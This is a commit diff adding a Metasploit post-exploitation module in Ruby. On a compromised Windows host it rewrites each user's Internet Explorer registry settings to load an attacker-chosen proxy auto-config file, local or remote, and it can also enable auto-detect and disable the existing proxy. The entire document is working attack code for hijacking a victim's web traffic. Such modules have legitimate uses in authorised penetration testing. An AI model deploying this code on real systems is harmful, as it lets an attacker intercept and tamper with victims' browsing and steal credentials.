Land rapid7#2719, @bmerinofe's ie_proxypac post module

Author: jvazquez-r7

modules/post/windows/manage/ie_proxypac.rb

@@ -0,0 +1,200 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Post::Windows::Priv
+  include Msf::Post::File
+  include Msf::Post::Windows::Registry
+
+  def initialize(info={})
+    super( update_info( info,
+      'Name'          => 'Windows Manage Proxy PAC File',
+      'Description'   => %q{
+        This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
+        option, a PAC file will be created in the victim host. It's also possible to provide a
+        remote PAC file (REMOTE_PAC option) by providing the full URL.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
+      'References'    =>
+        [
+          [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
+          [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
+        ],
+      'Platform'      => [ 'windows' ],
+      'SessionTypes'  => [ 'meterpreter' ]
+    ))
+
+    register_options(
+      [
+        OptPath.new('LOCAL_PAC',     [false, 'Local PAC file.' ]),
+        OptString.new('REMOTE_PAC',  [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
+        OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
+        OptBool.new('AUTO_DETECT',   [true, 'Automatically detect settings.', false])
+      ], self.class)
+  end
+
+  def run
+    if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
+      print_error("You must set a remote or local PAC file. Aborting...")
+      return
+    end
+
+    if datastore['REMOTE_PAC']
+      @remote = true
+      print_status("Setting automatic configuration script from a remote PAC file ...")
+      res = enable_proxypac(datastore['REMOTE_PAC'])
+      unless res
+        print_error("Error while setting an automatic configuration script. Aborting...")
+        return
+      end
+    else
+      @remote = false
+      print_status("Setting automatic configuration script from local PAC file ...")
+      pac_file = create_pac(datastore['LOCAL_PAC'])
+      unless pac_file
+        print_error("There were problems creating the PAC proxy file. Aborting...")
+        return
+      end
+      res = enable_proxypac(pac_file)
+      unless res
+        print_error("Error while setting an automatic configuration script. Aborting...")
+        return
+      end
+    end
+
+    print_good("Automatic configuration script configured...")
+
+    if datastore['AUTO_DETECT']
+      print_status("Enabling Automatically Detect Settings...")
+      unless auto_detect_on
+        print_error("Failed to enable Automatically Detect Settings. Proceeding anyway...")
+      end
+    end
+
+    if datastore['DISABLE_PROXY']
+      print_status("Disabling the Proxy Server...")
+      unless disable_proxy
+        print_error("Failed to disable Proxy Server. Proceeding anyway...")
+      end
+    end
+  end
+
+  def create_pac(local_pac)
+    pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
+    conf_pac = ""
+
+    if ::File.exists?(local_pac)
+      conf_pac << ::File.open(local_pac, "rb").read
+    else
+      print_error("Local PAC file not found.")
+      return false
+    end
+
+    if write_file(pac_file,conf_pac)
+      print_status("PAC proxy configuration file written to #{pac_file}")
+      return pac_file
+    else
+      return false
+    end
+
+  end
+
+  def enable_proxypac(pac)
+    proxy_pac_enabled = false
+
+    registry_enumkeys('HKU').each do |k|
+      next unless k.include? "S-1-5-21"
+      next if k.include? "_Classes"
+
+      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
+      value_auto = "AutoConfigURL"
+      file = (@remote) ? "#{pac}" : "file://#{pac}"
+
+      begin
+        res = registry_setvaldata(key,value_auto,file,"REG_SZ")
+      rescue ::RuntimeError, Rex::TimeoutError
+        next
+      end
+
+      if res.nil? # Rex::Post::Meterpreter::RequestError
+        next
+      end
+
+      if change_connection(16,'05',key + '\\Connections')
+        proxy_pac_enabled = true
+      end
+    end
+
+    if proxy_pac_enabled
+      return true
+    else
+      return false
+    end
+  end
+
+  def auto_detect_on
+    auto_detect_enabled = false
+
+    registry_enumkeys('HKU').each do |k|
+      next unless k.include? "S-1-5-21"
+      next if k.include? "_Classes"
+      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
+      if change_connection(16,'0D',key)
+        print_good ("Automatically Detect Settings on.")
+        auto_detect_enabled = true
+      end
+    end
+
+    if auto_detect_enabled
+      return true
+    else
+      return false
+    end
+  end
+
+  def disable_proxy
+    value_enable = "ProxyEnable"
+    profile = false
+
+    registry_enumkeys('HKU').each do |k|
+      next unless k.include? "S-1-5-21"
+      next if k.include? "_Classes"
+      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
+      begin
+        registry_setvaldata(key,value_enable,0,"REG_DWORD")
+        profile = true
+      rescue ::RuntimeError, Rex::TimeoutError
+        next
+      end
+    end
+
+    if profile
+      print_good("Proxy disabled.")
+      return true
+    else
+      return false
+    end
+  end
+
+  def change_connection(offset, value, key)
+    value_default = "DefaultConnectionSettings"
+    begin
+      value_con = registry_getvaldata(key, value_default)
+      binary_data = value_con.unpack('H*')[0]
+      binary_data[offset,2] = value
+      registry_setvaldata(key, value_default, ["%x" % binary_data.to_i(16)].pack("H*"), "REG_BINARY")
+    rescue ::RuntimeError, Rex::TimeoutError
+      return false
+    end
+
+    return true
+  end
+
+end